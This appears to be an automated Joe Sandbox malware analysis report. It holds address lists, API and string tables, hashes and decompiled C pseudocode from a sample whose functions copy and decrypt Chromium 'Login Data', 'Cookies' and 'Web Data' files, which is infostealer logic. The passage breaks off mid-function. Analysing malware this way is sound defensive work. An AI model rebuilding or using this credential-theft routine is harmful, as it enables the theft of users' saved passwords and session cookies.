0x00a41eb8
0x00a41eca
0x00a41ed1
0x00a41eda
0x00a41ee1
0x00a41eea
0x00a41ef1
0x00a41ef4
0x00a41efd
0x00a41f04
0x00a41f0d
0x00a41f14
0x00a41f17
0x00a41f20
0x00a41f22
0x00a41f26
0x00a41f2a
0x00a41f2d
0x00a41f38
0x00a41f41
0x00a41f48
0x00a41f5b
0x00a41f6a
0x00a41f6f
0x00a41f72
0x00a41f74
0x00a422b5
0x00a422b8
0x00a422c1
0x00a422ca
0x00a422d3
0x00a422dc
0x00a422e5
0x00a422eb
0x00a422ee
0x00a422f0
0x00a422f3
0x00a422f3
0x00000000
0x00a41f7a
0x00a41f7d
0x00a41f83
0x00a41f89
0x00a41f8c
0x00a41fa0
0x00a41fa8
0x00a41fac
0x00a41fbd
0x00a41fc0
0x00a41fcb
0x00a41fd4
0x00a41fd8
0x00a41fdc
0x00a41fdf
0x00a41fe1
0x00a41fe3
0x00a41fea
0x00a41fef
0x00a42001
0x00a42006
0x00a42023
0x00a42025
0x00a4202c
0x00a42031
0x00a42034
0x00a42039
0x00a4203c
0x00a4203f
0x00a42040
0x00a42043
0x00a42044
0x00a42044
0x00a42051
0x00a42055
0x00a42059
0x00a4205c
0x00a4205e
0x00a42060
0x00a420c8
0x00a42062
0x00a42067
0x00a4206c
0x00a4207e
0x00a42083
0x00a420a1
0x00a420a3
0x00a420a8
0x00a420ab
0x00a420b0
0x00a420b6
0x00a420b9
0x00a420bc
0x00a420bd
0x00a420be
0x00a420c2
0x00a420c3
0x00a420c3
0x00a420cb
0x00a420d4
0x00a420d7
0x00a420d9
0x00a420db
0x00a420e1
0x00a420e6
0x00a420f8
0x00a420fd
0x00a42117
0x00a42119
0x00a42121
0x00a42124
0x00a42129
0x00a4212c
0x00a4212f
0x00a42132
0x00a42135
0x00a42136
0x00a42137
0x00a4213b
0x00a4213b
0x00a4213c
0x00a4213c
0x00a42147
0x00a42149
0x00a4214b
0x00a42152
0x00a42157
0x00a42169
0x00a4216e
0x00a42188
0x00a4218a
0x00a42192
0x00a42195
0x00a4219a
0x00a4219d
0x00a421a0
0x00a421a3
0x00a421a4
0x00a421a5
0x00a421a9
0x00a421a9
0x00a421aa
0x00a421aa
0x00a421bb
0x00a421c0
0x00a421c3
0x00a421c5
0x00a421d0
0x00a421dd
0x00a421e9
0x00a421ed
0x00a421f2
0x00a421fd
0x00a42206
0x00a42208
0x00a4220f
0x00a42214
0x00a4221b
0x00a4221e
0x00a42223
0x00a42226
0x00a42230
0x00a4223e
0x00a42254
0x00a42256
0x00a42258
0x00a4226e
0x00a42270
0x00a42272
0x00a4228d
0x00a42292
0x00a42292
0x00a42272
0x00a42296
0x00a4229f
0x00a422a8
0x00a422af
0x00000000
0x00a421c7
0x00a421c7
0x00a421ca
0x00000000
0x00000000
0x00000000
0x00a421ca
0x00a421c5
0x00a41e87
0x00a41e8e
0x00a422f9
0x00a422f9
0x00a422fc
0x00a422ff
0x00a4230b
0x00a42312
0x00a4231e
0x00a42320
0x00a42326
0x00a42343
0x00a42349
0x00a42328
0x00a42335
0x00a42337
0x00a42337
0x00a42351
0x00a42364
0x00a42366
0x00a42369
0x00a4237b
0x00a4237d
0x00a42384
0x00a4238d
0x00a42394
0x00a4239d
0x00a423a4
0x00a423ad
0x00a423af
0x00a423b2
0x00a423b6
0x00a423bf
0x00a423c8
0x00a423cf
0x00a423d8
0x00a423dd
0x00a423e2
0x00a423f1
0x00a423f6
0x00a423fc
0x00a42408
0x00a4240b
0x00a4241f
0x00a42427
0x00a4242b
0x00a4243c
0x00a4243f
0x00a4244a
0x00a42453
0x00a42457
0x00a4245b
0x00a42462
0x00a42469
0x00a4246e
0x00a42480
0x00a42485
0x00a424a2
0x00a424a4
0x00a424ab
0x00a424b0
0x00a424b3
0x00a424b8
0x00a424bb
0x00a424be
0x00a424bf
0x00a424c2
0x00a424c3
0x00a424c3
0x00a424d0
0x00a424d4
0x00a424d8
0x00a424df
0x00a42547
0x00a424e1
0x00a424e6
0x00a424eb
0x00a424fd
0x00a42502
0x00a42520
0x00a42522
0x00a42527
0x00a4252a
0x00a4252f
0x00a42535
0x00a42538
0x00a4253b
0x00a4253c
0x00a4253d
0x00a42541
0x00a42542
0x00a42542
0x00a4254a
0x00a42552
0x00a42553
0x00a4255a
0x00a42560
0x00a42565
0x00a42577
0x00a4257c
0x00a42596
0x00a42598
0x00a425a3
0x00a425a9
0x00a425ae
0x00a425b4
0x00a425b7
0x00a425ba
0x00a425bb
0x00a425bc
0x00a425c0
0x00a425c1
0x00a425c1
0x00a425c4
0x00a425d0
0x00a425d7
0x00a425dc
0x00a425ee
0x00a425f3
0x00a4260d
0x00a4260f
0x00a4261a
0x00a42620
0x00a42625
0x00a4262e
0x00a42634
0x00a42635
0x00a42636
0x00a4263a
0x00a4263b
0x00a4263b
0x00a4264c
0x00a42651
0x00a42656
0x00a4266e
0x00a4267a
0x00a4267e
0x00a42683
0x00a4268e
0x00a42697
0x00a42699
0x00a426a0
0x00a426a5
0x00a426ac
0x00a426af
0x00a426b4
0x00a426b7
0x00a426c1
0x00a426cf
0x00a426e5
0x00a426e9
0x00a426f2
0x00a426f3
0x00a426f4
0x00a426f5
0x00a426f6
0x00a426f8
0x00a426f9
0x00a426fa
0x00a42703
0x00a4271e
0x00a42723
0x00a42723
0x00a42703
0x00a42727
0x00a42730
0x00a42739
0x00a42740
0x00a42740
0x00a42749
0x00a42752
0x00a4275b
0x00a42764
0x00a4276d
0x00a42773
0x00a42776
0x00a42776
0x00a4277a
0x00a42780
0x00a42785
0x00a42788
0x00a42788
0x00a4278e
0x00a4278f
0x00a42792
0x00a4279c
0x00a427a5
0x00a427ae
0x00a427b8
0x00000000
0x00a427be

APIs

PathCombineW.SHLWAPI(00000000,00000000,Default), ref: 00A41E8E
wsprintfW.USER32 ref: 00A42343
PathCombineW.SHLWAPI(00000000,?,00000000), ref: 00A42351
lstrlenW.KERNEL32 ref: 00A42453
lstrlenW.KERNEL32(?), ref: 00A4245E
lstrlenW.KERNEL32 ref: 00A424D0
lstrlenW.KERNEL32(?), ref: 00A424DB

Part of subcall function 00A4A5DB: lstrlenW.KERNEL32(?,00000000,?,00000000,00000000,?,00A483B5), ref: 00A4A5EE
Part of subcall function 00A4A5DB: lstrlenW.KERNEL32(?,?,00000000,?,00000000,00000000,?,00A483B5), ref: 00A4A5F5
Part of subcall function 00A4A5DB: GlobalFree.KERNELBASE(?), ref: 00A4A628

LocalFree.KERNEL32(00000000), ref: 00A42727
LocalFree.KERNEL32(?), ref: 00A42730
LocalFree.KERNEL32(?), ref: 00A42739
LocalFree.KERNEL32(?), ref: 00A42740
LocalFree.KERNEL32(00000000), ref: 00A42749
LocalFree.KERNEL32(?), ref: 00A42752
LocalFree.KERNEL32(?), ref: 00A4275B
LocalFree.KERNEL32(00000000), ref: 00A42764
LocalFree.KERNEL32(?), ref: 00A4276D
LocalFree.KERNEL32(00000000), ref: 00A4277A
LocalFree.KERNEL32(00000000), ref: 00A42788
LocalFree.KERNEL32(00000000), ref: 00A4279C
LocalFree.KERNEL32(?), ref: 00A427A5
LocalFree.KERNEL32(?), ref: 00A427AE
LocalFree.KERNEL32(?), ref: 00A427B8

Strings

y, xrefs: 00A42119, 00A42598
py, xrefs: 00A42045, 00A424C4
z, xrefs: 00A4202C, 00A424AB
Xy, xrefs: 00A420A3, 00A42522
Profile %d, xrefs: 00A4233D
Default, xrefs: 00A41E87, 00A4232D

Memory Dump Source

Source File: 00000000.00000002.415442734.0000000000A41000.00000020.00000001.01000000.00000003.sdmp, Offset: 00A40000, based on PE: true

Associated: 00000000.00000002.415438027.0000000000A40000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.415452048.0000000000A4C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.415456270.0000000000A4E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.415460637.0000000000A50000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_a40000_zRZljp49Uz.jbxd

Similarity

API ID: Free$Local$lstrlen$CombinePath$Globalwsprintf
String ID: py$ y$Default$Profile %d$Xy$z
API String ID: 2850643345-3792260358
Opcode ID: b18e43e48106cad072e12be346b0889af42fd133a257b9cae75ae8d05b146d73
Instruction ID: 8ce88e967cf62c79559efddd777a8b405036227f8cb5bab263cb22e07b386344
Opcode Fuzzy Hash: b18e43e48106cad072e12be346b0889af42fd133a257b9cae75ae8d05b146d73
Instruction Fuzzy Hash: 2A624A79E40208AFDF04DFE4DD85AAEBBB6FFC9300F108519F915A7250DB75A9028B61

Uniqueness

Uniqueness Score: -1.00%

Function 00A427C6 Relevance: 47.7, APIs: 22, Strings: 5, Instructions: 419
fileCOMMON

Download Yara Rule

C-Code - Quality: 15%

			E00A427C6(intOrPtr* __ecx, intOrPtr* __edx, void* __eflags, intOrPtr _a8, intOrPtr _a12, char _a16) {
				signed int _v8;
				char _v9;
				char _v10;
				char _v11;
				char _v12;
				void* _v16;
				WCHAR* _v20;
				void* _v24;
				signed int _v28;
				void* _v32;
				void* _v36;
				intOrPtr _v40;
				intOrPtr* _v44;
				void* _v48;
				char _v52;
				void* _v56;
				void* _v60;
				char _v64;
				void* _v68;
				char _v72;
				void* _v76;
				char _v80;
				void* _v84;
				char _v88;
				void* _t103;
				void* _t104;
				intOrPtr _t118;
				intOrPtr _t120;
				intOrPtr _t122;
				intOrPtr _t124;
				intOrPtr _t126;
				intOrPtr _t128;
				intOrPtr _t130;
				void* _t134;
				void* _t135;
				void* _t137;
				void* _t146;
				void* _t153;
				void* _t154;
				signed int _t155;
				intOrPtr _t157;
				intOrPtr _t158;
				void* _t160;
				void* _t161;
				WCHAR* _t165;
				void* _t173;
				void* _t174;
				int _t175;
				void* _t184;
				int _t185;
				void* _t190;
				void* _t199;
				intOrPtr* _t203;
				void* _t204;
				intOrPtr* _t205;
				void* _t253;
				signed int _t255;
				void* _t258;
				void* _t259;
				void* _t260;
				char _t261;
				void* _t263;
				void* _t265;
				signed int _t266;
				void* _t267;
				intOrPtr* _t270;
				void* _t271;

				_t203 = __edx;
				_v44 = __ecx;
				_t103 =  *((intOrPtr*)( *0xa4e048))(0x40, 0x400);
				_t104 =  *((intOrPtr*)( *0xa4e13c))(_t103, _a12);
				_v8 = _v8 & 0x00000000;
				_t253 = _t104;
				E00A417A1(_t253,  &_v8,  &_v52);
				 *_t270 = 0x200;
				_t259 =  *((intOrPtr*)( *0xa4e048))(0x40);
				_v48 = _t259;
				E00A41942(_v8,  &_v48,  *0xa4e048, _v52);
				_v28 = _v28 & 0x00000000;
				_v60 = _t259;
				_v64 = 0x200;
				_t260 =  *((intOrPtr*)( *0xa4e048))(0x40, 0x400);
				_v24 = _t260;
				if(_v8 != 0) {
					LocalFree(_v8);
				}
				_push( &_v72);
				_push(0);
				_push(0);
				_push(0);
				_push(0);
				_push( &_v28);
				_push( &_v64);
				if( *((intOrPtr*)( *0xa4e0b4))() != 0) {
					_t199 = E00A41726(_v68,  &_v24, _v72);
					_t260 = _v24;
					if(_t199 != 0) {
						 *_t203 =  *((intOrPtr*)( *0xa4e13c))( *_t203, _t260);
					}
				}
				if(_v28 != 0) {
					LocalFree(_v28);
				}
				if(_v60 != 0) {
					LocalFree(_v60);
				}
				if(_v68 != 0) {
					LocalFree(_v68);
				}
				if(_t260 != 0) {
					LocalFree(_t260);
				}
				if(_t253 != 0) {
					LocalFree(_t253);
				}
				_t261 = _a16;
				if(_t261 == 0) {
					L57:
					return 0;
				} else {
					_t118 =  *((intOrPtr*)( *0xa4e0d8))(_t261,  *0xa4e1b8);
					 *0xa4f4bc = _t118;
					_t120 =  *((intOrPtr*)( *0xa4e0d8))(_t261,  *0xa4e1ec);
					 *0xa4f4b0 = _t120;
					_t122 =  *((intOrPtr*)( *0xa4e0d8))(_t261,  *0xa4e1d4);
					 *0xa4f4a4 = _t122;
					_t124 =  *((intOrPtr*)( *0xa4e0d8))(_t261,  *0xa4e1fc);
					 *0xa4f4ac = _t124;
					_t126 =  *((intOrPtr*)( *0xa4e0d8))(_t261,  *0xa4e224);
					 *0xa4f4b4 = _t126;
					_t128 =  *((intOrPtr*)( *0xa4e0d8))(_t261,  *0xa4e1b4);
					 *0xa4f4a0 = _t128;
					_t130 =  *((intOrPtr*)( *0xa4e0d8))(_t261,  *0xa4e218);
					 *0xa4f4a8 = _t130;
					 *0xa4f4b8 =  *((intOrPtr*)( *0xa4e0d8))(_t261,  *0xa4e1a4);
					_t134 =  *((intOrPtr*)( *0xa4e048))(0x40, 0x208);
					_t135 =  *((intOrPtr*)( *0xa4e048))(0x40, 0x208);
					_v32 = _t135;
					_t263 =  *((intOrPtr*)( *0xa4e008))(_t134, _a8, L"Login Data");
					_v56 = _t263;
					_t137 = E00A4A7C4( *0xa4e008,  &_v32);
					_t204 = _v32;
					if(_t137 == 0) {
						L59:
						LocalFree(_t263);
						DeleteFileW(_t204);
						return LocalFree(_t204) | 0xffffffff;
					}
					_push(0);
					_push(_t204);
					_push(_t263);
					if( *((intOrPtr*)( *0xa4e178))() == 0) {
						goto L59;
					}
					_push( &_v24);
					_push(_t204);
					if( *0xa4f4b0() == 0) {
						if(_v24 != 0) {
							_t146 =  *0xa4f4bc(_v24,  *0xa4e1f0, 0xffffffff,  &_a16, 0);
							_t271 = _t270 + 0x14;
							if(_t146 == 0) {
								_push(_a16);
								if( *0xa4f4b4() != 0x64) {
									L53:
									if(_t263 != 0) {
										LocalFree(_t263);
									}
									 *0xa4f4a4(_a16);
									 *0xa4f4ac(_v24);
									DeleteFileW(_t204);
									if(_t204 != 0) {
										LocalFree(_t204);
									}
									goto L57;
								}
								_t205 = _v44;
								do {
									_t153 =  *0xa4f4a8(_a16, 0);
									_t154 =  *0xa4f4a8(_a16, 1);
									_v48 = _t154;
									_t155 =  *0xa4f4a8(_a16, 2);
									_t271 = _t271 + 0x18;
									_t255 = _t155;
									if(_t153 >= 1 && (_v48 >= 1 || _t255 >= 1)) {
										_t157 =  *0xa4f4a0(_a16, 0);
										_v44 = _t157;
										_t158 =  *0xa4f4a0(_a16, 1);
										_t271 = _t271 + 0x10;
										_v40 = _t158;
										if(_t255 <= 0) {
											goto L51;
										}
										_t265 =  *0xa4f4b8(_a16, 2);
										_t54 = _t255 + 0x40; // 0x40
										_v36 = _t265;
										_t160 =  *((intOrPtr*)( *0xa4e048))(0x40, _t54);
										_t161 =  *((intOrPtr*)( *0xa4e054))(_t160, _t265);
										_v48 = _t161;
										_v12 =  *_t161;
										_v11 =  *((intOrPtr*)(_t161 + 1));
										_v10 =  *((intOrPtr*)(_t161 + 2));
										_v9 = 0;
										if(_t265 == 0) {
											L50:
											LocalFree(_t161);
											goto L51;
										}
										_t266 =  *((intOrPtr*)( *0xa4e048))(0x40, 0x2000);
										_t165 =  *0xa4e198; // 0x797020
										_v20 = _t165;
										_push("v10");
										_push( &_v12);
										_v8 = _t266;
										if( *((intOrPtr*)( *0xa4e088))() != 0) {
											_push( &_v80);
											_v84 = _v36;
											_push(0);
											_push(0);
											_push(0);
											_push(0);
											_push(0);
											_v88 = 0x200;
											_push( &_v88);
											if( *((intOrPtr*)( *0xa4e0b4))() == 0) {
												_t267 = _v8;
												L47:
												if(_t267 != 0) {
													LocalFree(_t267);
												}
												_t161 = _v48;
												goto L50;
											}
											 *((char*)(_v80 + _v76)) = 0;
											_t173 = E00A4A59A(_v76);
											_v36 = _t173;
											_t174 =  *((intOrPtr*)( *0xa4e0f0))(_t266, _v20, _v44, _v40, _t173);
											_t271 = _t271 + 0x14;
											_t175 = lstrlenW(_v20);
											_t267 = _v8;
											if(_t174 >= _t175) {
												 *_t205 = E00A4A5DB( *_t205, _t267);
											}
											if(_v76 != 0) {
												LocalFree(_v76);
											}
											LocalFree(_v36);
											L39:
											goto L47;
										}
										_v16 =  *((intOrPtr*)( *0xa4e048))(0x40, _t255 << 2);
										if(E00A41726(_v36,  &_v16, _t255) == 0) {
											_t267 = _v8;
										} else {
											_t184 =  *((intOrPtr*)( *0xa4e0f0))(_t266, _v20, _v44, _v40, _v16);
											_t271 = _t271 + 0x14;
											_t185 = lstrlenW(_v20);
											_t267 = _v8;
											if(_t184 >= _t185) {
												 *_t205 = E00A4A5DB( *_t205, _t267);
											}
										}
										if(_v16 == 0) {
											goto L47;
										} else {
											LocalFree(_v16);
											goto L39;
										}
									}
									L51:
									_push(_a16);
								} while ( *0xa4f4b4() == 0x64);
								_t204 = _v32;
								_t263 = _v56;
								goto L53;
							}
							LocalFree(_t263);
							LocalFree(_t204);
							 *0xa4f4ac(_v24);
							_t190 = 0xfffffffd;
							return _t190;
						}
						_t258 = 0xfffffffe;
						L22:
						LocalFree(_t263);
						LocalFree(_t204);
						return _t258;
					}
					_t258 = 0xffffffffffffffff;
					goto L22;
				}
			}

0x00a427db
0x00a427dd
0x00a427e0
0x00a427ec
0x00a427ee
0x00a427f5
0x00a427fd
0x00a42808
0x00a42816
0x00a4281f
0x00a42822
0x00a4282c
0x00a42839
0x00a4283c
0x00a42849
0x00a4284b
0x00a4284e
0x00a42853
0x00a42853
0x00a42862
0x00a42865
0x00a42866
0x00a42867
0x00a42868
0x00a4286c
0x00a42870
0x00a42875
0x00a42880
0x00a42885
0x00a4288b
0x00a42897
0x00a42897
0x00a4288b
0x00a4289d
0x00a428a2
0x00a428a2
0x00a428ac
0x00a428b1
0x00a428b1
0x00a428bb
0x00a428c0
0x00a428c0
0x00a428c8
0x00a428cb
0x00a428cb
0x00a428d3
0x00a428d6
0x00a428d6
0x00a428dc
0x00a428e1
0x00a42ca5
0x00000000
0x00a428e7
0x00a428f3
0x00a428fb
0x00a42906
0x00a4290e
0x00a42919
0x00a42921
0x00a4292c
0x00a42934
0x00a4293f
0x00a42947
0x00a42952
0x00a4295a
0x00a42965
0x00a4296d
0x00a4297f
0x00a4298c
0x00a42999
0x00a429a9
0x00a429af
0x00a429b4
0x00a429b7
0x00a429bc
0x00a429c1
0x00a42cac
0x00a42cad
0x00a42cb4
0x00000000
0x00a42cc1
0x00a429cd
0x00a429cf
0x00a429d0
0x00a429d5
0x00000000
0x00000000
0x00a429de
0x00a429df
0x00a429ea
0x00a429f5
0x00a42a20
0x00a42a26
0x00a42a2b
0x00a42a4d
0x00a42a5a
0x00a42c74
0x00a42c76
0x00a42c79
0x00a42c79
0x00a42c82
0x00a42c8b
0x00a42c94
0x00a42c9c
0x00a42c9f
0x00a42c9f
0x00000000
0x00a42c9c
0x00a42a60
0x00a42a63
0x00a42a68
0x00a42a75
0x00a42a80
0x00a42a83
0x00a42a89
0x00a42a8c
0x00a42a91
0x00a42aab
0x00a42ab6
0x00a42ab9
0x00a42abf
0x00a42ac2
0x00a42ac7
0x00000000
0x00000000
0x00a42ade
0x00a42ae2
0x00a42ae5
0x00a42aeb
0x00a42af5
0x00a42af7
0x00a42afc
0x00a42b02
0x00a42b08
0x00a42b0b
0x00a42b11
0x00a42c54
0x00a42c55
0x00000000
0x00a42c55
0x00a42b2b
0x00a42b2d
0x00a42b32
0x00a42b38
0x00a42b3d
0x00a42b3e
0x00a42b45
0x00a42bc4
0x00a42bc7
0x00a42bcf
0x00a42bd0
0x00a42bd1
0x00a42bd2
0x00a42bd3
0x00a42bd7
0x00a42bde
0x00a42be3
0x00a42c43
0x00a42c46
0x00a42c48
0x00a42c4b
0x00a42c4b
0x00a42c51
0x00000000
0x00a42c51
0x00a42beb
0x00a42bef
0x00a42c04
0x00a42c0e
0x00a42c10
0x00a42c18
0x00a42c1c
0x00a42c1f
0x00a42c2a
0x00a42c2a
0x00a42c30
0x00a42c35
0x00a42c35
0x00a42bb3
0x00a42bb3
0x00000000
0x00a42bb3
0x00a42b5e
0x00a42b69
0x00a42ba3
0x00a42b6b
0x00a42b83
0x00a42b85
0x00a42b8d
0x00a42b91
0x00a42b94
0x00a42b9f
0x00a42b9f
0x00a42b94
0x00a42baa
0x00000000
0x00a42bb0
0x00a42bb3
0x00000000
0x00a42bb3
0x00a42baa
0x00a42c5b
0x00a42c5b
0x00a42c65
0x00a42c6e
0x00a42c71
0x00000000
0x00a42c71
0x00a42a2e
0x00a42a35
0x00a42a3e
0x00a42a47
0x00000000
0x00a42a47
0x00a429f9
0x00a429fa
0x00a429fb
0x00a42a02
0x00000000
0x00a42a08
0x00a429ec
0x00000000
0x00a429ec

APIs

LocalFree.KERNEL32(00000000), ref: 00A42853

Part of subcall function 00A4A7C4: LocalFree.KERNEL32(00000000,?,?,00A4B3F8), ref: 00A4A827

LocalFree.KERNEL32(00000000), ref: 00A428A2
LocalFree.KERNEL32(00000000), ref: 00A428B1
LocalFree.KERNEL32(00000000), ref: 00A428C0
LocalFree.KERNEL32(00000000), ref: 00A428CB
LocalFree.KERNEL32(00000000), ref: 00A428D6
LocalFree.KERNEL32(00000000), ref: 00A429FB
LocalFree.KERNEL32(?), ref: 00A42A02
LocalFree.KERNEL32(00000000), ref: 00A42A2E
LocalFree.KERNEL32(?), ref: 00A42A35
LocalFree.KERNEL32(00000000), ref: 00A42CAD
DeleteFileW.KERNEL32(?), ref: 00A42CB4
LocalFree.KERNEL32(?), ref: 00A42CBB

Strings

`y, xrefs: 00A428F5
py, xrefs: 00A42B2D
Login Data, xrefs: 00A429A1
v10, xrefs: 00A42B38
z, xrefs: 00A42967

Memory Dump Source

Source File: 00000000.00000002.415442734.0000000000A41000.00000020.00000001.01000000.00000003.sdmp, Offset: 00A40000, based on PE: true

Associated: 00000000.00000002.415438027.0000000000A40000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.415452048.0000000000A4C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.415456270.0000000000A4E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.415460637.0000000000A50000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_a40000_zRZljp49Uz.jbxd

Similarity

API ID: FreeLocal$DeleteFile
String ID: py$Login Data$`y$v10$z
API String ID: 2194112602-921688368
Opcode ID: 4cf7b81c9a5cd19d0660daa072699aa93bb6989837a7036d4659fd8172a575f0
Instruction ID: d2fc15b55e33c293bcfc145e40ec9b71c6fe37a7c4456d41d903ac8a4cc7fd2d
Opcode Fuzzy Hash: 4cf7b81c9a5cd19d0660daa072699aa93bb6989837a7036d4659fd8172a575f0
Instruction Fuzzy Hash: 18F1583D940215EFDB15DFE4DD84AAE7BB5BBCA311F104024F911A32A0DBB69942CB61

Uniqueness

Uniqueness Score: -1.00%

Function 00A42CC6 Relevance: 45.9, APIs: 19, Strings: 7, Instructions: 440filestringCOMMON

Download Yara Rule

APIs

LocalFree.KERNEL32(00000000), ref: 00A42D55

Part of subcall function 00A4A7C4: LocalFree.KERNEL32(00000000,?,?,00A4B3F8), ref: 00A4A827

StrCpyW.SHLWAPI(?,?), ref: 00A42D95
LocalFree.KERNEL32(00000000), ref: 00A42DA0
LocalFree.KERNEL32(00000000), ref: 00A42DAF
LocalFree.KERNEL32(00000000), ref: 00A42DBE
LocalFree.KERNEL32(00000000), ref: 00A42DCD
LocalFree.KERNEL32(00000000), ref: 00A42DD8
DeleteFileW.KERNEL32(?), ref: 00A42F3E
LocalFree.KERNEL32(?), ref: 00A42F45
LocalFree.KERNEL32(00000000), ref: 00A42F5D
wsprintfW.USER32 ref: 00A43110
lstrlenW.KERNEL32(00000000), ref: 00A4311A
wsprintfW.USER32 ref: 00A431B4
lstrlenW.KERNEL32(00000000), ref: 00A431BE
LocalFree.KERNEL32(00000000), ref: 00A431D9
LocalFree.KERNEL32(?), ref: 00A431E2
LocalFree.KERNEL32(00000000), ref: 00A431F0
LocalFree.KERNEL32(00000000), ref: 00A431FA
DeleteFileW.KERNEL32(?), ref: 00A43231

Strings

`y, xrefs: 00A42E2F
FALSE, xrefs: 00A430F3, 00A4319F
TRUE, xrefs: 00A430F8, 00A43103, 00A4319A, 00A431A7
Cookies, xrefs: 00A42DF7
v10, xrefs: 00A4309B
z, xrefs: 00A42EAD
Network\Cookies, xrefs: 00A42DEE

Memory Dump Source

Source File: 00000000.00000002.415442734.0000000000A41000.00000020.00000001.01000000.00000003.sdmp, Offset: 00A40000, based on PE: true

Associated: 00000000.00000002.415438027.0000000000A40000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.415452048.0000000000A4C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.415456270.0000000000A4E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.415460637.0000000000A50000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_a40000_zRZljp49Uz.jbxd

Similarity

API ID: FreeLocal$DeleteFilelstrlenwsprintf
String ID: Cookies$FALSE$Network\Cookies$TRUE$`y$v10$z
API String ID: 2479234762-857868424
Opcode ID: a50b610377d54c1cf9b17a34e25a2d84672da8538c4b9f7eb11c1a0464e544fd
Instruction ID: a271bf34980bba2e6b32a4b6126a7c7869a909659db5ba7f2b5ecec6cb1e36cc
Opcode Fuzzy Hash: a50b610377d54c1cf9b17a34e25a2d84672da8538c4b9f7eb11c1a0464e544fd
Instruction Fuzzy Hash: C402387D940209EFDF15DFE4EC49AAE7BB5FB89310F104025F911A7260DBB29A52CB60

Uniqueness

Uniqueness Score: -1.00%

Function 00A43244 Relevance: 42.4, APIs: 22, Strings: 2, Instructions: 437fileCOMMON

Download Yara Rule

APIs

LocalFree.KERNEL32(00000000), ref: 00A432D1

Part of subcall function 00A4A7C4: LocalFree.KERNEL32(00000000,?,?,00A4B3F8), ref: 00A4A827

LocalFree.KERNEL32(00000000), ref: 00A43320
LocalFree.KERNEL32(00000000), ref: 00A4332F
LocalFree.KERNEL32(00000000), ref: 00A4333E
LocalFree.KERNEL32(00000000), ref: 00A43349
LocalFree.KERNEL32(00000000), ref: 00A43354
LocalFree.KERNEL32(00000000), ref: 00A43479
LocalFree.KERNEL32(?), ref: 00A43480
LocalFree.KERNEL32(00000000), ref: 00A434AC
LocalFree.KERNEL32(?), ref: 00A434B3
LocalFree.KERNEL32(00000000), ref: 00A43755
DeleteFileW.KERNEL32(?), ref: 00A4375C
LocalFree.KERNEL32(?), ref: 00A43763

Strings

v10, xrefs: 00A435D8
Web Data, xrefs: 00A4341F

Memory Dump Source

Source File: 00000000.00000002.415442734.0000000000A41000.00000020.00000001.01000000.00000003.sdmp, Offset: 00A40000, based on PE: true

Associated: 00000000.00000002.415438027.0000000000A40000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.415452048.0000000000A4C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.415456270.0000000000A4E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.415460637.0000000000A50000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_a40000_zRZljp49Uz.jbxd

Similarity

API ID: FreeLocal$DeleteFile
String ID: Web Data$v10
API String ID: 2194112602-1846122625
Opcode ID: b98045ca7c881241b89fbae16e16e72b17cb9d9324a8c17295d9370f0271f9be
Instruction ID: 7162e163ff9b378fa2706dce50b27a571202d7ba1aab4be99cc42a45aabf99a6
Opcode Fuzzy Hash: b98045ca7c881241b89fbae16e16e72b17cb9d9324a8c17295d9370f0271f9be
Instruction Fuzzy Hash: 22F1687E900215EFDB15DFE4EC88AAE7BB5FBCA311F144015F911A32A0DB765A02CB61

Uniqueness

Uniqueness Score: -1.00%

Function 00A45870 Relevance: 38.9, APIs: 18, Strings: 4, Instructions: 372
COMMON

Download Yara Rule

C-Code - Quality: 39%

			E00A45870(intOrPtr __ecx, intOrPtr __edx, intOrPtr _a4, intOrPtr _a8, intOrPtr _a12, intOrPtr _a16, WCHAR* _a20, WCHAR* _a24, intOrPtr _a28, intOrPtr _a32, intOrPtr* _a36, intOrPtr _a40, intOrPtr _a44) {
				void* _v12;
				signed int _v16;
				void* _v20;
				void* _v24;
				WCHAR* _v28;
				void* _v32;
				void* _v36;
				intOrPtr _v40;
				intOrPtr _v44;
				void* _v48;
				void* _v52;
				signed int _v56;
				void* _v60;
				void* _v64;
				void* _v68;
				char _v620;
				signed int _v632;
				unsigned int _v636;
				signed int _v664;
				void* __ebx;
				void* __esi;
				void* _t112;
				signed int _t114;
				void* _t117;
				void* _t119;
				void* _t120;
				void* _t121;
				WCHAR* _t122;
				WCHAR* _t125;
				void* _t127;
				WCHAR* _t129;
				intOrPtr _t135;
				WCHAR* _t136;
				void* _t138;
				void* _t140;
				signed int _t144;
				signed int _t148;
				WCHAR* _t151;
				WCHAR* _t158;
				WCHAR* _t162;
				void* _t167;
				unsigned int _t175;
				WCHAR* _t177;
				WCHAR* _t182;
				void* _t186;
				WCHAR* _t189;
				WCHAR* _t192;
				void* _t194;
				void* _t195;
				WCHAR* _t196;
				void* _t201;
				void* _t202;
				char* _t232;
				intOrPtr _t233;
				intOrPtr _t239;
				WCHAR* _t245;
				intOrPtr _t249;
				signed int _t251;
				signed int _t252;
				WCHAR* _t253;
				void* _t254;
				void* _t255;
				void* _t259;
				void* _t260;
				unsigned int _t261;
				void* _t262;
				void* _t264;
				void* _t265;
				void* _t267;

				_t249 = _a44;
				_v44 = __edx;
				_v40 = __ecx;
				if(_t249 <= _a40) {
					_v16 = _v16 & 0x00000000;
					_t112 =  *((intOrPtr*)( *0xa4e048))(0x40, 0x20a);
					_t195 =  *((intOrPtr*)( *0xa4e13c))(_t112, _a4);
					_v52 = _t195;
